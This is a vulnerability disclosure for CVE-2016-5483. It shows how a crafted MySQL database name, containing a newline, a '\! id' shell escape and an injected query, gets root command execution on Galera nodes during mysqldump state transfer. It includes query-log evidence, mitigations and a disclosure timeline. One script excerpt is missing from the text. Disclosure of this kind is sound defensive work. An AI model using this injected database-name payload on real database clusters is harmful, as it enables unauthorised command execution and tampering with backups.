[CVE-2016-5483] Galera Remote Command Execution via crafted database name
mysqldump is a common utility used to create logical backups of MySQL databases and one of the SST methods used by Galera to bring out-of-sync nodes back into the cluster. Using an evil database name, an attacker can gain remote command execution on all nodes in the cluster or backdoor MySQL backups in a similar attack to my previous post. Of course, this method requires the CREATE DATABASE privilege instead of CREATE TABLE.
Example Attack
First, the attacker creates a malicious database using the query below:
\! id
select user,@@version; -- -`
It is important that the database name before the new line matches a database that actually exists.
Now that the evil database is in place, we wait until an SST transfer occurs. This will execute the wsrep_sst_mysqldump script which executes the following (simplified, the relevant options are set on lines 80-84 and 106-108, and executed at line 133-136:
|
With our evil database in place, the parsing error occurs when the script attempts after the use statement:
USE `test
\! id
select user(),@@version; -- -`;
Now normally, this would not be a problem because everything between the backticks should be counted as the database name. In fact, that's how we created this database was created in the first place! It seems that in the case of use statements, MySQL will terminate the query after the new line, allowing us to execute our payload. We can confirm this by executing this query alone with the general query log enabled, giving us the following entries:
161012 18:44:26 41 Connect root@localhost on
41 Query select @@version_comment limit 1
41 Query SELECT DATABASE
41 Init DB test <-- uh oh! it thinks we said use `test`
41 Query select user,@@version <-- injected query
41 Quit
Attack output
uid=0()) groups=0()
Mitigation
- Revoke create database privileges wherever possible, as is best practice
- Do not use
mysqldumpas your SST method,xtrabackup-v2is the reccomended method - Audit your databases for tables containing new lines. You can do this with a simple one-liner:
find /var/lib/mysql -type d -name "*@000a*"
Affected Versions
| Package | Affected Versions | Last Updated |
|---|---|---|
| MySQL | All Versions | Oct 17, 2016 |
| MariaDB | <= 5.5.52 and < 10.1 | March 9th, 2017 |
| Percona | All Versions | Oct 17, 2016 |
Disclosure Notes
- October 6th, 2016: Discovered / Reported to MariaDB and Oracle
- October 7th, 2016: Sent more details and working PoC
- October 13th, 2016: Received confirmation that the bug will be patched in MariaDB-5.5.53
- October 18th, 2016: Received CVE ID
- March 9th, 2017: 90 days exceeded since report, public disclosure